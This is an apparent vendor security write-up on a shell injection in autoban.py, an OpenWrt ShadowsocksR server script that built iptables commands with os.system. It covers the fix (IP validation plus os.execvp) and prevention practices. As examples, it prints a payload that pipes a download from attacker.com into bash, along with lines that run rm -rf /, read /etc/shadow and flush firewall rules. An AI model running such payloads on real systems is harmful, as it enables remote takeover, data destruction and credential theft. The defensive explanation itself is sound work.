Critical Shell Injection in autoban.py: How os.system() Opened a Root Shell
The Incident
In the lienol/luci-app-ssr-python-pro-server repository, a critical shell injection vulnerability was discovered in root/usr/share/ssr_python_pro_server/utils/autoban.py at line 53. The script's job is straightforward: watch for abusive connections to an SSR (ShadowsocksR) server and automatically ban offending IP addresses using iptables. The problem? It trusted network-supplied data to build shell commands — and executed them as root.
The vulnerable pattern looks deceptively simple:
cmd = 'iptables -A INPUT -s %s -j DROP' % ip
os.system(cmd)
That single os.system(cmd) call, where ip is parsed directly from ss or netstat output, is all it takes to hand an attacker a root shell on a network device.
The Vulnerability Explained
What os.system() Actually Does
When Python calls os.system(cmd), it passes the entire string to /bin/sh -c. This means the shell interprets every character in cmd — including metacharacters like ;, |, `, $(), &&, and ||. If any part of cmd contains attacker-controlled data, the attacker controls what the shell runs.
In autoban.py, the ip variable is populated by parsing the output of network diagnostic tools like ss or netstat. The script reads connection data, extracts what it believes to be an IP address, and feeds it directly into the command string:
# The vulnerable code path (before fix)
cmd = 'iptables -A INPUT -s %s -j DROP' % ip
print(cmd, file=sys.stderr)
sys.stderr.flush()
os.system(cmd) # <-- Shell interprets the entire string
The Attack Vector
An attacker connecting to the SSR server can craft a connection whose source address field, as seen by ss or netstat, contains shell metacharacters. Consider what happens when ip is set to:
192.168.1.1; curl http://attacker.com/payload | bash
The resulting cmd string becomes:
iptables -A INPUT -s 192.168.1.1; curl http://attacker.com/payload | bash
When os.system() passes this to /bin/sh -c, the shell sees two commands separated by ;. The iptables command runs first (looking legitimate), then curl | bash executes the attacker's payload — as root.
More dangerous payloads are trivially constructed:
| Payload | Effect |
|---|---|
127.0.0.1; rm -rf / |
Destroy the filesystem |
127.0.0.1$(reboot) |
Force a device reboot |
127.0.0.1 \| cat /etc/shadow |
Exfiltrate password hashes |
127.0.0.1; iptables -F |
Flush all firewall rules |
Why This Is Especially Dangerous
This isn't a web application running in a sandboxed container. autoban.py runs on OpenWrt routers — embedded Linux devices that manage network traffic for potentially hundreds of users. The script runs as root because iptables requires root privileges. Successful exploitation means:
- Full control of the router: firewall rules, routing tables, DNS configuration
- Network-wide impact: an attacker who owns the router owns the traffic of every device behind it
- Persistence: attackers can install backdoors that survive service restarts
- Lateral movement: the compromised router becomes a pivot point into the internal network
The Fix
The fix makes two complementary changes: validate the IP address format before using it, and eliminate shell interpretation entirely by replacing os.system() with os.fork() + os.execvp().
Before and After
Before (vulnerable):
cmd = 'iptables -A INPUT -s %s -j DROP' % ip
print(cmd, file=sys.stderr)
sys.stderr.flush()
os.system(cmd)
After (fixed):
if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
continue
cmd = 'iptables -A INPUT -s %s -j DROP' % ip
print(cmd, file=sys.stderr)
sys.stderr.flush()
pid = os.fork()
if pid == 0:
os.execvp('iptables', ['iptables', '-A', 'INPUT', '-s', ip, '-j', 'DROP'])
os._exit(1)
os.waitpid(pid, 0)
Change 1: IP Address Validation
if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
continue
This regex enforces that ip matches the pattern of an IPv4 address — four groups of digits separated by dots, with nothing else. Any string containing ;, |, `, $, spaces, or any other character that isn't a digit or dot is immediately rejected with continue, skipping the ban attempt entirely.
This is a defense-in-depth measure. Even if the execution method were still os.system(), a payload like 127.0.0.1; rm -rf / would fail the regex check because of the space and semicolon.
Change 2: Replacing os.system() with os.fork() + os.execvp()
This is the more architecturally significant change. Here's why it matters:
pid = os.fork()
if pid == 0:
os.execvp('iptables', ['iptables', '-A', 'INPUT', '-s', ip, '-j', 'DROP'])
os._exit(1)
os.waitpid(pid, 0)
os.execvp() takes a list of arguments, not a shell command string. When the kernel receives this call, it executes iptables directly, passing each list element as a discrete argument. There is no shell involved. The kernel never interprets ip as anything other than the literal string value of the -s argument.
Compare the two execution models:
| Method | Shell involved? | Metacharacters interpreted? | Attack surface |
|---|---|---|---|
os.system(cmd) |
Yes (/bin/sh -c) |
Yes | High |
os.execvp('iptables', [...]) |
No | No | None |
Even if IP validation were somehow bypassed and ip contained ; rm -rf /, os.execvp() would pass that entire string as the literal value of the -s flag to iptables. iptables would reject it as an invalid address — no shell command would execute.
The os.fork() + os.waitpid() wrapper ensures the parent process waits for the iptables child to complete before continuing, preserving the original synchronous behavior.
Prevention & Best Practices
1. Never Use os.system() with External Data
os.system() is essentially eval() for shell commands. The moment any part of the command string comes from an external source — network connections, files, environment variables, user input — you have a potential injection vulnerability.
Prefer these alternatives:
# Option 1: subprocess with list arguments (no shell)
import subprocess
subprocess.run(['iptables', '-A', 'INPUT', '-s', ip, '-j', 'DROP'], check=True)
# Option 2: os.fork() + os.execvp() (as used in the fix)
pid = os.fork()
if pid == 0:
os.execvp('iptables', ['iptables', '-A', 'INPUT', '-s', ip, '-j', 'DROP'])
os._exit(1)
os.waitpid(pid, 0)
Both approaches bypass the shell entirely. Arguments are passed directly to the kernel's execve syscall.
2. Validate All Network-Sourced Data Before Use
Data extracted from network connections should be treated as untrusted input. Apply strict allowlist validation before using it in any security-sensitive context:
import re
# Allowlist: only valid IPv4 addresses
IPV4_PATTERN = re.compile(r'^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$')
def validate_ipv4(ip_str):
m = IPV4_PATTERN.match(ip_str.strip())
if not m:
return None
octets = [int(m.group(i)) for i in range(1, 5)]
if all(0 <= o <= 255 for o in octets):
return ip_str.strip()
return None
Note that the fix's regex (^(\d{1,3}\.){3}\d{1,3}$) validates the format but doesn't check that each octet is ≤ 255. For production code, adding octet range validation (as shown above) provides an additional layer of correctness.
3. Apply the Principle of Least Privilege
If autoban.py must run as root to call iptables, consider using sudo with a tightly scoped sudoers rule, or a capabilities-based approach (CAP_NET_ADMIN) that grants only the specific privilege needed without a full root context.
4. Use shlex.quote() as a Last Resort
If you absolutely must construct a shell command string (for example, when using shell=True in subprocess), use shlex.quote() to escape arguments:
import shlex
# Only use this if you truly cannot avoid shell=True
safe_ip = shlex.quote(ip)
cmd = f'iptables -A INPUT -s {safe_ip} -j DROP'
However, this should be a last resort. Eliminating shell interpretation (as the fix does) is always preferable.
5. Relevant Standards and References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- OWASP: Command Injection
- Python Docs: subprocess — Subprocess management — specifically the security note on
shell=True
Key Takeaways
-
os.system()with IP addresses fromss/netstatoutput is inherently dangerous: Network connections are attacker-controlled data. Theipvariable inautoban.pywas never safe to interpolate into a shell command string without validation. -
os.execvp()with a list of arguments eliminates the shell entirely: Unlikeos.system(),os.execvp()passes arguments directly to the kernel. No shell means no shell metacharacter interpretation, regardless of what the IP string contains. -
IP validation is defense-in-depth, not a primary defense: The regex check added in the fix is valuable, but the real security improvement is the switch from
os.system()toos.execvp(). Validation can have edge cases; eliminating the attack surface cannot. -
Root-level scripts on network devices have an outsized blast radius: A shell injection in a web app might compromise one user's session. The same vulnerability in a root-level script on an OpenWrt router compromises the entire network.
-
The regression tests are as important as the fix: The
test_invariant_autoban.pytest suite with 40+ adversarial payloads ensures that future refactoring cannot accidentally reintroduceos.system()or similar patterns without failing CI.
Conclusion
The autoban.py vulnerability is a textbook example of how a seemingly simple, two-line code pattern — cmd = '...' % ip followed by os.system(cmd) — can create a critical, remotely exploitable security hole. The fact that the script runs as root on a network device amplified the impact from "bad" to "catastrophic."
The fix is elegant precisely because it doesn't try to make os.system() safe. Instead, it removes the shell from the equation entirely using os.execvp(), and adds IP format validation as a belt-and-suspenders measure. This is the right mental model for command injection prevention: don't sanitize your way out of a dangerous API; replace the dangerous API with one that doesn't have the attack surface in the first place.
For developers writing system administration scripts in Python — especially those running with elevated privileges on embedded or network devices — the lesson is clear: treat os.system() as a code smell whenever external data is involved, and reach for subprocess.run() or os.execvp() with explicit argument lists instead.
This vulnerability was identified and fixed by Orbis AppSec. The automated fix was verified by re-scan and LLM code review.